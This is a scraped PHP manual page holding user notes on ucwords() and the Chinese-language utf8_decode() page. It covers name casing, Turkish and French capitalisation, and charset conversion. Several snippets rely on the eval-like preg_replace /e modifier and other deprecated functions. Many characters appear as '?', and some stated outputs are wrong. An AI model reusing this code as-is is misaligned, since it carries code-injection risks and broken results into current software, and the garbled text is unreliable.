$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");

echo($str): '?aa?aa-Aaaaaa, Bbbb'
Luca Borrione luca -a email -d c_o_m 10-Sep-2012 03:41
Features:
- multi byte compatible
- handles multiple delimiters

<?php
function ucwords_specific ($string, $delimiters = '', $encoding = NULL)
{
    if ($encoding === NULL) { $encoding = mb_internal_encoding();}

    if (is_string($delimiters))
    {
        $delimiters =  str_split( str_replace(' ', '', $delimiters));
    }

    $delimiters_pattern1 = array();
    $delimiters_replace1 = array();
    $delimiters_pattern2 = array();
    $delimiters_replace2 = array();
    foreach ($delimiters as $delimiter)
    {
        $uniqid = uniqid();
        $delimiters_pattern1[]   = '/'. preg_quote($delimiter) .'/';
        $delimiters_replace1[]   = $delimiter.$uniqid.' ';
        $delimiters_pattern2[]   = '/'. preg_quote($delimiter.$uniqid.' ') .'/';
        $delimiters_replace2[]   = $delimiter;
    }

    // $return_string = mb_strtolower($string, $encoding);
    $return_string = $string;
    $return_string = preg_replace($delimiters_pattern1, $delimiters_replace1, $return_string);

    $words = explode(' ', $return_string);

    foreach ($words as $index => $word)
    {
        $words[$index] = mb_strtoupper(mb_substr($word, 0, 1, $encoding), $encoding).mb_substr($word, 1, mb_strlen($word, $encoding), $encoding);
    }

    $return_string = implode(' ', $words);

    $return_string = preg_replace($delimiters_pattern2, $delimiters_replace2, $return_string);

    return $return_string;
}
?>

Params:
1. string: The string being converted
2. delimiters: a string with all wanted delimiters written one after the other e.g. "-'"
3. encoding: Is the character encoding. If it is omitted, the internal character encoding value will be used.

Example Usage:
<?php
mb_internal_encoding('UTF-8');
$string = "JEAN-PAUL d'artagnan ??-òà-éì hello - world";
echo ucwords_specific( mb_strtolower($string, 'UTF-8'), "-'");
?>

Output:
Jean-Paul D'Artagnan ??-òà-éì Hello - World
qeremy [atta] gmail [dotta] com 27-Feb-2012 05:09
A proper Turkish solution;

<?php
function ucfirst_turkish($str) {
    $tmp = preg_split("//u", $str, 2, PREG_SPLIT_NO_EMPTY);
    return mb_convert_case(
        str_replace("i", "?", $tmp[0]), MB_CASE_TITLE, "UTF-8").
        $tmp[1];
}

function ucwords_turkish($str) {
    return preg_replace("/(\\w+)/ue", "ucfirst_turkish('\\\\1').'$2'", $str);
}

$str = "iyilik güzelL?K ?eker ";
echo ucwords($str) ."\\n";   // Iyilik GüzelL?K ?eker
echo ucwords_turkish($str); // ?yilik GüzelL?K ?eker
?>
haijerome at gmail dot com 21-Nov-2011 09:14
Thanks a lot brother.

I tested it with a few variations. It works perfectly. Its really great and simple usage of the existing functions. It would be glad to all PHP folks and good to PHP if these kind of functions will be in PHP library on upcoming releases.

<?php

$name1 = "mark-yves robert";
$name2 = "mark-yves robert-bryan";

echo '<br/>Name 1 (mark-yves robert) =>'.
ucwordspecific($name1,'-'); //returns Mark-Yves Robert

echo '<br/>Name 2 (mark-yves robert-bryan)

=>'.ucwordspecific($name2,'-');
//returns Mark-Yves Robert-Bryan

function ucwordspecific($str,$delimiter){
$delimiter_space = '- ';
return str_replace($delimiter_space,$delimiter,ucwords

(str_replace($delimiter,$delimiter_space,$str)));
}

?>

Proud to be a PHP enthusiast always :-)
ahmet363 at gmail dot com 16-Oct-2011 11:14
Turkish character with the ucwords function...

<?php
function ucwords_tr($gelen){

  $sonuc='';

  $kelimeler=explode(" ", $gelen);

  foreach ($kelimeler as $kelime_duz){

    $kelime_uzunluk=strlen($kelime_duz);
    $ilk_karakter=mb_substr($kelime_duz,0,1,'UTF-8');

    if($ilk_karakter=='?' or $ilk_karakter=='?'){

      $ilk_karakter='?';

    }elseif ($ilk_karakter=='?' or $ilk_karakter=='?') {

      $ilk_karakter='?';

    }elseif($ilk_karakter=='I' or $ilk_karakter=='?'){

      $ilk_karakter='I';

    }elseif ($ilk_karakter=='?' or $ilk_karakter=='i'){

      $ilk_karakter='?';

    }elseif ($ilk_karakter=='?' or $ilk_karakter=='?'){

      $ilk_karakter='?';

    }elseif ($ilk_karakter=='?' or $ilk_karakter=='?'){

      $ilk_karakter='?';

    }elseif ($ilk_karakter=='ü' or $ilk_karakter=='ü'){

      $ilk_karakter='ü';

    }else{

      $ilk_karakter=strtoupper($ilk_karakter);

    }

    $digerleri=mb_substr($kelime_duz,1,$kelime_uzunluk,'UTF-8');
    $sonuc.=$ilk_karakter.kucuk_yap($digerleri).' ';

  }

  $son=trim(str_replace('  ', ' ', $sonuc));
  return $son;

}

function kucuk_yap($gelen){

  $gelen=str_replace('?', '?', $gelen);
  $gelen=str_replace('?', '?', $gelen);
  $gelen=str_replace('I', '?', $gelen);
  $gelen=str_replace('?', 'i', $gelen);
  $gelen=str_replace('?', '?', $gelen);
  $gelen=str_replace('?', '?', $gelen);
  $gelen=str_replace('ü', 'ü', $gelen);
  $gelen=strtolower($gelen);

  return $gelen;
}

echo ucwords_tr('?EKardi ?EM??YE ?ELEN? ?MER'); // ?ekardi ?em?iye ?elen? ?mer
echo ucwords_tr('?EKER iMSAK ??LEN'); // ?eker ?msak ??len
jmarois at ca dot ibm dot com 12-Feb-2010 08:51
My quick and dirty ucname (Upper Case Name) function.

<?php
//FUNCTION

function ucname($string) {
    $string =ucwords(strtolower($string));

    foreach (array('-', '\'') as $delimiter) {
      if (strpos($string, $delimiter)!==false) {
        $string =implode($delimiter, array_map('ucfirst', explode($delimiter, $string)));
      }
    }
    return $string;
}
?>
<?php
//TEST

$names =array(
  'JEAN-LUC PICARD',
  'MILES O\'BRIEN',
  'WILLIAM RIKER',
  'geordi la forge',
  'bEvErly CRuSHeR'
);
foreach ($names as $name) { print ucname("{$name}\n"); }

//PRINTS:
/*
Jean-Luc Picard
Miles O'Brien
William Riker
Geordi La Forge
Beverly Crusher
*/
?>

You can add more delimiters in the for-each loop array if you want to handle more characters.
robert at broofa dot com 08-Jul-2009 06:42
Some recipes for switching between underscore and camelcase naming:

<?php
// underscored to upper-camelcase
// e.g. "this_method_name" -> "ThisMethodName"
preg_replace('/(?:^|_)(.?)/e',"strtoupper('$1')",$string);

// underscored to lower-camelcase
// e.g. "this_method_name" -> "thisMethodName"
preg_replace('/_(.?)/e',"strtoupper('$1')",$string);

// camelcase (lower or upper) to underscored
// e.g. "thisMethodName" -> "this_method_name"
// e.g. "ThisMethodName" -> "this_method_name"
strtolower(preg_replace('/([^A-Z])([A-Z])/', "$1_$2", $string));
?>

Of course these aren't 100% symmetric.  For example...
  * this_is_a_string -> ThisIsAString -> this_is_astring
  * GetURLForString -> get_urlfor_string -> GetUrlforString
Greg S 26-Apr-2009 09:16
I did the same thing as Catalin, but for French names.

Here's what I'm doing :

For each word (not considering the single-quote as a word boundary character) :
- Put the word in lower case
- If the word is "de", return, else, put the first letter in upper-case
- See if the second character of the word is a single-quote
- Yes ? Put the next char in upper case
- And if the char before the single quote is D, put it back to lower case (-> d)

This complies with the French rules for capitalization in names.

Sample results :
-d'Afoo Bar
-de Foo Bar
-O'Foo Bar
-Foo'bar

<?php
function my_ucwords($s) {
        $s = preg_replace_callback("/(\b[\w|']+\b)/s", fixcase_callback, $s);

        return $s;

    }

    function fixcase_callback($word) {

        $word = $word[1];

        $word = strtolower($word);

        if($word == "de")
            return $word;

        $word = ucfirst($word);

        if(substr($word,1,1) == "'") {
            if(substr($word,0,1) == "D") {
                $word = strtolower($word);
            }
            $next = substr($word,2,1);
            $next = strtoupper($next);
            $word = substr_replace($word, $next, 2, 1);
        }

        return $word;
    }
?>
strazds at gmail dot com 01-Nov-2008 02:45
ucwords for UTF-8 strings:

<?php
function mb_ucwords($str) {
    $str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
    return ($str);
}
?>
Alex 27-Aug-2008 09:43
A modified sentenceNormalizer by gregomm

Features:
1- Removes duplicated question marks, exclamations and periods
2- Capitalize first letter of a sentence.
3- Split sentences not only with "." but also with "?" and "!"
4- Puts a white space at the end of each sentence
5- Retains newlines

--removed from orginal function--
undestand the meaning of "?" and "?" in languages like spanish.
undestand the htmlentitity version of this simbols.
--removed from orginal function--

<?php
function sentenceNormalizer($sentence_split) {
    $sentence_split = preg_replace(array('/[!]+/','/[?]+/','/[.]+/'),
                                   array('!','?','.'),$sentence_split);

    $textbad = preg_split("/(\!|\.|\?|\n)/", $sentence_split,-1,PREG_SPLIT_DELIM_CAPTURE);
    $newtext = array();
    $count = sizeof($textbad);

    foreach($textbad as $key => $string) {
        if (!empty($string)) {
            $text = trim($string, ' ');
            $size = strlen($text);

            if ($size > 1){
                $newtext[] = ucfirst(strtolower($text));
            }
                elseif ($size == 1) {
                    $newtext[] = ($text == "\n") ? $text : $text . ' ';
                }
        }
    }

    return implode($newtext);
}
?>
blake at goinoutwest dot com 29-Jan-2008 05:14
Relating to the mb_ucwords() function posted by Anonymous.  In order for this to actually be multi-byte compliant, you would also need to use mb_substr() and mb_strlen() instead of substr and strlen respectively.

Here it is corrected and extended even further to allow multiple word separators and a list of exceptions to correct after title casing. It's a bit tedious and inelegant, but things frequently are when dealing with human languages.

function mb_ucwords($str) {
    $exceptions = array();
    $exceptions['Hp'] = 'HP';
    $exceptions['Ibm'] = 'IBM';
    $exceptions['Gb'] = 'GB';
    $exceptions['Mb'] = 'MB';
    $exceptions['Cd'] = 'CD';
    $exceptions['Dvd'] = 'DVD';
    $exceptions['Usb'] = 'USB';
    $exceptions['Mm'] = 'mm';
    $exceptions['Cm'] = 'cm';
    //    etc.

    $separator = array(" ","-","+");

    $str = mb_strtolower(trim($str));
    foreach($separator as $s){
        $word = explode($s, $str);

        $return = "";
        foreach ($word as $val){
            $return .= $s . mb_strtoupper($val{0}) . mb_substr($val,1,mb_strlen($val)-1);
        }
        $str = mb_substr($return, 1);
    }

    foreach($exceptions as $find=>$replace){
        if (mb_strpos($return, $find) !== false){
            $return = str_replace($find, $replace, $return);
        }
    }
    return mb_substr($return, 1);
}
kendsnyder at gmail dot com 30-Jul-2007 01:02
Here is a function to capitalize a last name, accounting for hyphens, apostrophes, "Mc" and "Mac":

<?php
function CapitalizeLastName($name) {
    $name = strtolower($name);
    $name = join("'", array_map('ucwords', explode("'", $name)));
    $name = join("-", array_map('ucwords', explode("-", $name)));
    $name = join("Mac", array_map('ucwords', explode("Mac", $name)));
    $name = join("Mc", array_map('ucwords', explode("Mc", $name)));
    return $name;
}
?>

I speed tested it against functions that used preg_replace() with an "e" modifier, preg_replace_callback(), and a character-by-character parsing.  Unexpectedly, this function using join(), array_map() and explode() was fastest.
Q1712 at online dot ms 05-May-2007 12:49
ucwords() only excepts whitespace in front of a word, although some chars like '"' or '(' normally have no space between them and the following word:
<?php
$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo ucwords(strtolower($title));
?>
prints: Elvis "the King" Presley - (let Me Be Your) Teddy Bear

To avoid this i use a small function adding and deleting blanks behind these chars, and using ucwords() in between:

<?php
function my_ucwords($string)
  {
    $noletters='"([/'; //add more if u need to
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i], $noletters[$i].' ', $string);
    $string=ucwords($string);
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i].' ', $noletters[$i], $string);
    return $string;
  }

$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo my_ucwords(strtolower($title));
?>

prints: Elvis "The King" Presley - (Let Me Be Your) Teddy Bear
barnaby ritchley at exeye dot co dot uk 03-Jan-2007 08:53
A very easy way to convert to title case:

function titleCase($string)
     {
     return ucwords(strtolower($string));
     }

$myString = "SOME TEXT";

echo titleCase($myString);

//will print, "My Text"
Ismet Togay 30-May-2006 05:07
Response to arif:

We do not need that long functions. In order to make ucwords() worked properly in Turkish words that contain speacial characters, we can use the following command in our php codes:

setlocale(LC_ALL, 'tr_TR');

This will set locale to Turkish.
lev at phpfox dot com 06-May-2006 01:44
In the function ucsmart() posted by ieure at php dot net on 04-Dec-2005 11:57, I found a similar problem in this function to what he found in igua's.

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

"igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case."

Actually, it did end up changing the content for me (php 5.0.4) in the way that this function escapes a single quotation (apostrophe) in the MIDDLE of a word.

For example:

who's online?

Became:

Who\'s Online?

The fix is simple however, and merely requires fine-tuning the regular expression:

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z\']|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

(note: while previewing this note before adding it, I am noticing php's website is not correctly displaying the change I made as I wrote it. After the first a-z in the expression, the single quotation should be escaped... If it isn't you will get a parse error! And apoligies if my text here is colored as php code; not my fault!)

This will not escape a single quotation mark which occurs in the middle of a word... Though, you may find that might need to add other characters inside the regular expression if you use other special characters inside your words and if you get funky output.

It's a great expression though! Simple, yet very powerful. Kudos!
24-Dec-2005 07:34
"ieure at php dot net", your idea is pure poetry!

The function below will standardize the capitalization on people's names and the titles of reports and essays . You may need to adapt the lists in "$all_uppercase" and "$all_lowercase" to suit the data that you are working with.

function my_ucwords($str, $is_name=false) {
   // exceptions to standard case conversion
   if ($is_name) {
       $all_uppercase = '';
       $all_lowercase = 'De La|De Las|Der|Van De|Van Der|Vit De|Von|Or|And';
   } else {
       // addresses, essay titles ... and anything else
       $all_uppercase = 'Po|Rr|Se|Sw|Ne|Nw';
       $all_lowercase = 'A|And|As|By|In|Of|Or|To';
   }
   $prefixes = 'Mc';
   $suffixes = "'S";

   // captialize all first letters
   $str = preg_replace('/\\b(\\w)/e', 'strtoupper("$1")', strtolower(trim($str)));

   if ($all_uppercase) {
       // capitalize acronymns and initialisms e.g. PHP
       $str = preg_replace("/\\b($all_uppercase)\\b/e", 'strtoupper("$1")', $str);
   }
   if ($all_lowercase) {
       // decapitalize short words e.g. and
       if ($is_name) {
           // all occurences will be changed to lowercase
           $str = preg_replace("/\\b($all_lowercase)\\b/e", 'strtolower("$1")', $str);
       } else {
           // first and last word will not be changed to lower case (i.e. titles)
           $str = preg_replace("/(?<=\\W)($all_lowercase)(?=\\W)/e", 'strtolower("$1")', $str);
       }
   }
   if ($prefixes) {
       // capitalize letter after certain name prefixes e.g 'Mc'
       $str = preg_replace("/\\b($prefixes)(\\w)/e", '"$1".strtoupper("$2")', $str);
   }
   if ($suffixes) {
       // decapitalize certain word suffixes e.g. 's
       $str = preg_replace("/(\\w)($suffixes)\\b/e", '"$1".strtolower("$2")', $str);
   }
   return $str;
}

// A name example
print my_ucwords("MARIE-LOU VAN DER PLANCK-ST.JOHN", true);
// Output: Marie-Lou van der Planc-St.John

// A title example
print my_ucwords("to be or not to be");
// Output: "To Be or Not to Be"
deepdene at email dot com 09-Dec-2002 11:20
A function knowing about name case (i.e. caps on McDonald etc)

function name_case($name)
{
    $newname = strtoupper($name[0]);
    for ($i=1; $i < strlen($name); $i++)
    {
        $subed = substr($name, $i, 1);
        if (((ord($subed) > 64) && (ord($subed) < 123)) ||
            ((ord($subed) > 48) && (ord($subed) < 58)))
        {
            $word_check = substr($name, $i - 2, 2);
            if (!strcasecmp($word_check, 'Mc') || !strcasecmp($word_check, "O'"))
            {
                $newname .= strtoupper($subed);
            }
            else if ($break)
            {

                $newname .= strtoupper($subed);
            }
            else
            {
                $newname .= strtolower($subed);
            }
             $break=0;
        }
        else
        {
            // not a letter - a boundary
             $newname .= $subed;
            $break=1;
        }
    }
    return $newname;
}
18-Jan-2002 06:14
This seems to be what people want:

function uc_all($string) {
    $temp = preg_split('/(\W)/', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
    foreach ($temp as $key=>$word) {
        $temp[$key] = ucfirst(strtolower($word));
    }
    return join ('', $temp);
}

[ed note: fixed the code to be correct]
neil at no-spam-ents24 dot com 21-Mar-2001 05:10
The code posted above by Joerg Krause only works for a string which ends with one of the delimiters. A possible fix is:

<?php
$text = "What?No delimiters,shit happens here.this solves all problems.";
preg_match_all("/(\w+[,. ?])+/U", $text, $words);
preg_match("/(\w+)$/", $text, $lastword);
$words[0][] = $lastword;
foreach($words[0] as $part) $uwords[] = ucfirst($part);
$text = implode("", $uwords);
echo $text;
?>


将字符串从 UTF-8 转换为 ISO-8859-1，替换无效或者无法表示的字符。

  • ? ucwords
  • utf8_encode ?
  • PHP Manual
  • 字符串 函数
  • 将字符串从 UTF-8 转换为 ISO-8859-1，替换无效或者无法表示的字符。

utf8_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

utf8_decode — 将字符串从 UTF-8 转换为 ISO-8859-1，替换无效或者无法表示的字符。

Warning

此函数自 PHP 8.2.0 起弃用。强烈建议不要应用此函数。

说明

utf8_decode(string $string): string

该函数将字符串 string 从 UTF-8 编码转换为 ISO-8859-1。字符串中不是有效 UTF-8 字节或者不存在于 ISO-8859-1 的 UTF-8 字符（即 U+00FF 以上的码点）将转化为 ?。

Note:

Many web pages marked as using the ISO-8859-1 character encoding actually use the similar Windows-1252 encoding, and web browsers will interpret ISO-8859-1 web pages as Windows-1252. Windows-1252 features additional printable characters, such as the Euro sign (�) and curly quotes (" "), instead of certain ISO-8859-1 control characters. This function will not convert such Windows-1252 characters correctly. Use a different function if Windows-1252 conversion is required.

参数

string

UTF-8 编码的字符串。

返回值

返回 string 的 ISO-8859-1 翻译。

更新日志

版本 | 说明
8.2.0 | 弃用此函数。
7.2.0 | This function has been moved from the XML extension to the core of PHP. In previous versions, it was only available if the XML extension was installed.

示例

Example #1 基础示例

<?php
// Convert the string 'Zo?' from UTF-8 to ISO 8859-1
$utf8_string = "\x5A\x6F\xC3\xAB";
$iso8859_1_string = utf8_decode($utf8_string);
echo bin2hex($iso8859_1_string), "\n";

// Invalid UTF-8 sequences are replaced with '?'
$invalid_utf8_string = "\xC3";
$iso8859_1_string = utf8_decode($invalid_utf8_string);
var_dump($iso8859_1_string);

// Characters which don't exist in ISO 8859-1, such as
// '�' (Euro Sign) are also replaced with '?'
$utf8_string = "\xE2\x82\xAC";
$iso8859_1_string = utf8_decode($utf8_string);
var_dump($iso8859_1_string);
?>

以上示例会输出：

5a6feb
string(1) "?"
string(1) "?"

注释

Note: 弃用和替代方案

从 PHP 8.2.0 开始，弃用此函数，并将在未来的版本中删除。应检查现有用途并用适当的替代方案。

类似的功能可以通过 mb_convert_encoding() 实现，支持 ISO-8859-1 和许多其他字符编码。

<?php
$utf8_string = "\xC3\xAB"; // '?' (e with diaeresis) in UTF-8
$iso8859_1_string = mb_convert_encoding($utf8_string, 'ISO-8859-1', 'UTF-8');
echo bin2hex($iso8859_1_string), "\n";

$utf8_string = "\xCE\xBB"; // 'λ' (Greek lower-case lambda) in UTF-8
$iso8859_7_string = mb_convert_encoding($utf8_string, 'ISO-8859-7', 'UTF-8');
echo bin2hex($iso8859_7_string), "\n";

$utf8_string = "\xE2\x82\xAC"; // '�' (Euro sign) in UTF-8 (not present in ISO-8859-1)
$windows_1252_string = mb_convert_encoding($utf8_string, 'Windows-1252', 'UTF-8');
echo bin2hex($windows_1252_string), "\n";
?>

以上示例会输出：

eb
eb
80

根据安装的扩展，其他有效选项是 UConverter::transcode() 和 iconv()。

以下都给出相同的结果：

<?php
$utf8_string = "\x5A\x6F\xC3\xAB"; // 'Zo?' in UTF-8
$iso8859_1_string = utf8_decode($utf8_string);
echo bin2hex($iso8859_1_string), "\n";

$iso8859_1_string = mb_convert_encoding($utf8_string, 'ISO-8859-1', 'UTF-8');
echo bin2hex($iso8859_1_string), "\n";

$iso8859_1_string = iconv('UTF-8', 'ISO-8859-1', $utf8_string);
echo bin2hex($iso8859_1_string), "\n";

$iso8859_1_string = UConverter::transcode($utf8_string, 'ISO-8859-1', 'UTF8');
echo bin2hex($iso8859_1_string), "\n";
?>

以上示例会输出：

5a6feb
5a6feb
5a6feb
5a6feb
针对无效的字符串或者不能用 ISO 8859-1 表示的字符串，指定 '?' 作为 UConverter::transcode() 的 'to_subst' 选项，将获得同 utf8_decode() 相同的结果。
<?php
$utf8_string = "\xE2\x82\xAC"; // � (Euro Sign) does not exist in ISO 8859-1
$iso8859_1_string = UConverter::transcode(
$utf8_string, 'ISO-8859-1', 'UTF-8', ['to_subst' => '?']
);
var_dump($iso8859_1_string);
?>

以上示例会输出：

sring(1) "?"

参见

  • utf8_encode() - 将字符串从 ISO-8859-1 转换为 UTF-8 编码
  • mb_convert_encoding() - 转换字符串，从一个字符编码到另一个字符编码
  • UConverter::transcode() - Convert a string from one character encoding to another
  • iconv() - 将字符串从一个字符编码转换到另一个字符编码

User Contributed Notes

jamalmarlone at gmail dot com 29-Mar-2023 11:33
$string = "Bj??rn Johansen";

echo mb_convert_encoding($string, 'ISO-8859-1', 'UTF-8');

----
prints: "Bj?rn Johansen"
Aleksandr 30-Jun-2017 02:46
In addition to note by yannikh at gmeil dot com, another way to decode strings with non-latin chars from unix console like

C=RU, L=\xD0\x9C\xD0\xBE\xD1\x81\xD0\xBA\xD0\xB2\xD0\xB0,

<?php preg_replace_callback('/\\\\x([0-9A-F]{2})/', function($a){ return pack('H*', $a[1]); }, $str); ?>

The code above will output:
C=RU, L=Москва,
kode68 02-May-2016 06:09
Update Answer from okx dot oliver dot koenig at gmail dot com for PHP 5.6 since e/ modifier is depreciated

// This finally helped me to do the job, thanks to Blackbit, had to modify deprecated ereg:
// original comment: "Squirrelmail contains a nice function in the sources to convert unicode to entities:"

function charset_decode_utf_8($string)
    {
        /* Only do the slow convert if there are 8-bit characters */
        if ( !preg_match("/[\200-\237]/", $string) && !preg_match("/[\241-\377]/", $string) )
               return $string;

        // decode three byte unicode characters
          $string = preg_replace_callback("/([\340-\357])([\200-\277])([\200-\277])/",
                    create_function ('$matches', 'return \'&#\'.((ord($matches[1])-224)*4096+(ord($matches[2])-128)*64+(ord($matches[3])-128)).\';\';'),
                    $string);

        // decode two byte unicode characters
          $string = preg_replace_callback("/([\300-\337])([\200-\277])/",
                    create_function ('$matches', 'return \'&#\'.((ord($matches[1])-192)*64+(ord($matches[2])-128)).\';\';'),
                    $string);

        return $string;
    }

Enjoy
okx dot oliver dot koenig at gmail dot com 08-Feb-2015 11:48
// This finally helped me to do the job, thanks to Blackbit, had to modify deprecated ereg:
// original comment: "Squirrelmail contains a nice function in the sources to convert unicode to entities:"

function charset_decode_utf_8 ($string) {
    /* Only do the slow convert if there are 8-bit characters */
    /* avoid using 0xA0 (\240) in ereg ranges. RH73 does not like that */
    if (!preg_match("/[\200-\237]/", $string)
     && !preg_match("/[\241-\377]/", $string)
    ) {
        return $string;
    }

    // decode three byte unicode characters
    $string = preg_replace("/([\340-\357])([\200-\277])([\200-\277])/e",
        "'&#'.((ord('\\1')-224)*4096 + (ord('\\2')-128)*64 + (ord('\\3')-128)).';'",
        $string
    );

    // decode two byte unicode characters
    $string = preg_replace("/([\300-\337])([\200-\277])/e",
        "'&#'.((ord('\\1')-192)*64+(ord('\\2')-128)).';'",
        $string
    );

    return $string;
}
sashott at gmail dot com 04-Dec-2014 11:57
Use of utf8_decode was not enough for me by get page content from another site. Problem appear by different alphabet from standard latin. As example some chars (corresponding to HTML codes &bdquo; , &nbsp; and others) are converted to "?" or "xA0" (hex value). You need to make some conversion before execute utf8_decode. And you can not replace simple, that they can be part of 2 bytes code for a char (UTF-8 use 2 bytes). Next is for cyrillic alphabet, but for other must be very close.

function convertMethod($text){
    //Problem is that utf8_decode convert HTML chars for &bdquo; and other to ? or &nbsp; to \xA0. And you can not replace, that they are in some char bytes and you broke cyrillic (or other alphabet) chars.
    $problem_enc=array(
        'euro',
        'sbquo',
        'bdquo',
        'hellip',
        'dagger',
        'Dagger',
        'permil',
        'lsaquo',
        'lsquo',
        'rsquo',
        'ldquo',
        'rdquo',
        'bull',
        'ndash',
        'mdash',
        'trade',
        'rsquo',
        'brvbar',
        'copy',
        'laquo',
        'reg',
        'plusmn',
        'micro',
        'para',
        'middot',
        'raquo',
        'nbsp'
    );
    $text=mb_convert_encoding($text,'HTML-ENTITIES','UTF-8');
    $text=preg_replace('#(?<!\&ETH;)\&('.implode('|',$problem_enc).');#s','--amp{$1}',$text);
    $text=mb_convert_encoding($text,'UTF-8','HTML-ENTITIES');
    $text=utf8_decode($text);
    $text=mb_convert_encoding($text,'HTML-ENTITIES','UTF-8');
    $text=preg_replace('#\-\-amp\{([^\}]+)\}#su','&$1;',$text);
    $text=mb_convert_encoding($text,'UTF-8','HTML-ENTITIES');
    return $text;
}

If this don't work, try to set "die($text);" on some places to look, what is happen to this row. Is better to test with long text. It is very possible to broke other alphabet character. In this case, it is very possible, that for you alphabet set "&ETH;" is not the right one. You need to set "die($text);" after this preg_replace and look HTML code for character before set "--amp".
christoffer 29-Oct-2012 10:35
The preferred way to use this on an array would be with the built in PHP function "array_map()", as for example:
$array = array_map("utf8_decode", $array);
deceze at gmail dot com 14-Jul-2011 07:01
Please note that utf8_decode simply converts a string encoded in UTF-8 to ISO-8859-1. A more appropriate name for it would be utf8_to_iso88591. If your text is already encoded in ISO-8859-1, you do not need this function. If you don't want to use ISO-8859-1, you do not need this function.

Note that UTF-8 can represent many more characters than ISO-8859-1. Trying to convert a UTF-8 string that contains characters that can't be represented in ISO-8859-1 to ISO-8859-1 will garble your text and/or cause characters to go missing. Trying to convert text that is not encoded in UTF-8 using this function will most likely garble the text.

If you need to convert any text from any encoding to any other encoding, look at iconv() instead.
gabriel arobase gabsoftware dot com 12-Jun-2011 08:41
If you want to retrieve some UTF-8 data from your database, you don't need utf8_decode().

Simply do the following query before any SELECT :

$result = mysql_query("SET NAMES utf8");
info at vanylla dot it 26-Jan-2009 12:21
IMPORTANT: when converting UTF8 data that contains the EURO sign DON'T USE utf_decode function.

utf_decode converts the data into ISO-8859-1 charset. But ISO-8859-1 charset does not contain the EURO sign, therefor the EURO sign will be converted into a question mark character '?'

In order to convert properly UTF8 data with EURO sign you must use:

iconv("UTF-8", "CP1252", $data)
Blackbit 12-Aug-2008 04:40
Squirrelmail contains a nice function in the sources to convert unicode to entities:

<?php
function charset_decode_utf_8 ($string) {
      /* Only do the slow convert if there are 8-bit characters */
    /* avoid using 0xA0 (\240) in ereg ranges. RH73 does not like that */
    if (! ereg("[\200-\237]", $string) and ! ereg("[\241-\377]", $string))
        return $string;

    // decode three byte unicode characters
    $string = preg_replace("/([\340-\357])([\200-\277])([\200-\277])/e",        \
    "'&#'.((ord('\\1')-224)*4096 + (ord('\\2')-128)*64 + (ord('\\3')-128)).';'",    \
    $string);

    // decode two byte unicode characters
    $string = preg_replace("/([\300-\337])([\200-\277])/e", \
    "'&#'.((ord('\\1')-192)*64+(ord('\\2')-128)).';'", \
    $string);

    return $string;
}
?>
punchivan at gmail dot com 24-Jun-2008 02:13
EY! the bug is not in the function 'utf8_decode'. The bug is in the function 'mb_detect_encoding'. If you put a word with a special char at the end like this 'accentué', that will lead to a wrong result (UTF-8) but if you put another char at the end like this 'accentuée' you will get it right. So you should always add a ISO-8859-1 character to your string for this check. My advise is to use a blank space.
I′ve tried it and it works!

function ISO_convert($array)
{
    $array_temp = array();

    foreach($array as $name => $value)
    {
        if(is_array($value))
          $array_temp[(mb_detect_encoding($name." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($name) : $name )] = ISO_convert($value);
        else
          $array_temp[(mb_detect_encoding($name." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($name) : $name )] = (mb_detect_encoding($value." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($value) : $value );
    }

    return $array_temp;
}
haugas at gmail dot com 08-May-2008 02:11
If you don't know exactly, how many times your string is encoded, you can use this function:

<?php

function _utf8_decode($string)
{
  $tmp = $string;
  $count = 0;
  while (mb_detect_encoding($tmp)=="UTF-8")
  {
    $tmp = utf8_decode($tmp);
    $count++;
  }

  for ($i = 0; $i < $count-1 ; $i++)
  {
    $string = utf8_decode($string);

  }
  return $string;

}

?>
lukasz dot mlodzik at gmail dot com 05-Mar-2008 04:46
Update to MARC13 function utf2iso()
I'm using it to handle AJAX POST calls.
Despite using
http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'; charset='utf-8');
it still code Polish letters using UTF-16

This is only for Polish letters:

<?php
function utf16_2_utf8 ($nowytekst) {
        $nowytekst = str_replace('%u0104','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0106','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0118','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0141','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0143','?',$nowytekst);    //?
        $nowytekst = str_replace('%u00D3','ó',$nowytekst);    //ó
        $nowytekst = str_replace('%u015A','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0179','?',$nowytekst);    //?
        $nowytekst = str_replace('%u017B','?',$nowytekst);    //?

        $nowytekst = str_replace('%u0105','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0107','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0119','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0142','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0144','ń',$nowytekst);    //ń
        $nowytekst = str_replace('%u00F3','ó',$nowytekst);    //ó
        $nowytekst = str_replace('%u015B','?',$nowytekst);    //?
        $nowytekst = str_replace('%u017A','?',$nowytekst);    //?
        $nowytekst = str_replace('%u017C','?',$nowytekst);    //?
   return ($nowytekst);
   }
?>

Everything goes smooth, but it doesn't change '%u00D3','ó' and '%u00F3','ó'. I dont have idea what to do with that.

Remember! File must be saved in UTF-8 coding.
ludvig dot ericson at gmail dot com 15-Jul-2007 10:52
A better way to convert would be to use iconv, see http://www.php.net/iconv -- example:

<?php
$myUnicodeString = "???";
echo iconv("UTF-8", "ISO-8859-1", $myUnicodeString);
?>

